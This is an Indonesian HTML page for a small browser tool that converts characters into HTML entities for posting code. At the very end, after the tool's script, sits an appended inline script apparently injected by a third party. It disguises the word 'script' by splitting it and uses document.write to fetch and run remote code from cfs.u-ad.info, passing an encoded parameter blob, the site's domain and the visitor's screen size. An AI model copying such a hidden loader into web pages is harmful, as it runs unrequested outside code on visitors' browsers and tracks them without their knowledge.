<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Konversi Kode HTML</title>
<style type="text/css">
	body {
		background-color:#333;
		padding:20px;
		font:normal 11px Tahoma,Verdana,Arial,Sans-Serif;
		color:#999;
	}

	p {margin-top:20px;}
	code {color:#aa2;}
	
	#codes {
		border:none;
		width:98%;
		height:200px;
		margin:10px auto 10px;
		display:block;
		background-color:#444;
		padding:5px;
		font:normal 12px 'Courier New',Monospace;
	}
	
	#codes:focus {background-color:#3c3c3c;color:white;}

	.button-group {
		margin:0px auto 0px;
		text-align:center;
	}
	
	button,button[disabled]:active {
		background-color:#3c3c3c;
		font:bold 11px Tahoma,Verdana,Arial,Sans-Serif;
		color:#999;
		padding:5px 10px;
		border:none;
		-webkit-border-radius:3px;
		-moz-border-radius:3px;
		border-radius:3px;
		cursor:pointer;
	}
	
	button:active {background-color:white;color:black;}
	button[disabled],button[disabled]:active {opacity:0.4;cursor:default;}

	#opt1,
	#opt2,
	#opt3,
	#opt4,
	#opt5 {
		display:inline-block;
		margin:0px 10px 0px 0px;
		vertical-align:middle;
		border:none;
		outline:none;
	}
</style>
</head>
<body>
<textarea spellcheck="false" id="codes" placeholder="Tulis/paste kode di sini lalu klik 'Konversi'"></textarea>
<div class="button-group">
<button id="cvrt" onclick="cdConvert();this.disabled = true;">Konversi</button>
<button onclick="cdClear();">Bersihkan</button>
</div>
<p>
<input checked="true" id="opt1" type="checkbox" />Konversi <code>&amp;</code> menjadi <code>&amp;amp;</code><br />
<input id="opt2" type="checkbox" />Konversi <code>&#39;</code> menjadi <code>&amp;#039;</code><br />
<input id="opt3" type="checkbox" />Konversi <code>&quot;</code> menjadi <code>&amp;quot;</code><br />
<input checked="true" id="opt4" type="checkbox" />Konversi <code>&lt;</code> menjadi <code>&amp;lt;</code><br />
<input checked="true" id="opt5" type="checkbox" />Konversi <code>&gt;</code> menjadi <code>&amp;gt;</code>
</p>
<script type="text/javascript">
function cdClear() {
    var wtarea = document.getElementById('codes');
    wtarea.value = '';
    wtarea.focus();
    document.getElementById('cvrt').disabled = false;
}
function cdConvert() {
    var ctarea = document.getElementById('codes'),
        cv = ctarea.value,
        opt1 = document.getElementById('opt1'),
        opt2 = document.getElementById('opt2'),
        opt3 = document.getElementById('opt3'),
        opt4 = document.getElementById('opt4'),
        opt5 = document.getElementById('opt5');
    cv = cv.replace(/\t/g, "    ");
    if (opt1.checked) cv = cv.replace(/&/g, "&amp;");
    if (opt2.checked) cv = cv.replace(/'/g, "&#039;");
    if (opt3.checked) cv = cv.replace(/"/g, "&quot;");
    if (opt4.checked) cv = cv.replace(/</g, "&lt;");
    if (opt5.checked) cv = cv.replace(/>/g, "&gt;");
    if (cv.lastIndexOf('\n') != -1 || cv.length > 40) {
        cv = cv.replace(/^/, "<i rel=\"code\">");
    } else {
        cv = cv.replace(/^/, "<i rel=\"code\">");
    }
    cv = cv.replace(/$/, "</i>");
    ctarea.value = cv;
    ctarea.focus();
    ctarea.select();
};
</script>
<script type="text/javascript">if(self==top){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);document.write("<scr"+"ipt type=text/javascript src="+idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request");document.write("?id=1");document.write("&amp;enc=telkom2");document.write("&amp;params=" + "4TtHaUQnUEiP6K%2fc5C582NgXaqsgjSGNR7ErJI9PFpiD9TCRjBsW7QkGRQDbMk0gcYInY3zTgTsmmbRxRDizenZbj703%2bzqDEcaUd%2f4cfQxNFovLyaZYaOn8%2fyI%2buLZVGZyMzsr03M5nWwCkkoP7uMkKG9P3xXJspcaZ4hZpTQtSSHJUT0kZs24%2biL5VxS7Gzt1NRWPZHsv5vlZ2U0PzLgOjltGi%2fwgE8tpjHH8pxL2GCE4wjm8fGouxbC94kaDcW%2bIzi7UUynABu2T1eFus4eb4XHFwlJk9dGCcnohgtefAfoXJDDHc%2boSeAy3HPNBdUAv8PFWDSignOU70SLaPxnWuoXuSMRCQ6H9T%2fxtEt8f%2bqmJwjgePvdHlvwFM7%2fc0Kgiu8v2BKIO8OizGcSxeGAxhJ4BWGb%2fak3MHXXpsA2GSu3QFMgJs09%2b97VJ%2fQlL8p8usPlud6JPjURmCs%2bK4FavEbEKjDJZH%2fNyKQ8nUwbASYN39VKrQh6i3uKV5rm17S79M8qrko8nVSm0%2fdtowp4SVjUFJLAYKgjexvH0K6a4Ih8CcezurAw%3d%3d");document.write("&amp;idc_r="+idc_glo_r);document.write("&amp;domain="+document.domain);document.write("&amp;sw="+screen.width+"&amp;sh="+screen.height);document.write("></scr"+"ipt>");}</script><noscript>activate javascript</noscript></body>
</html>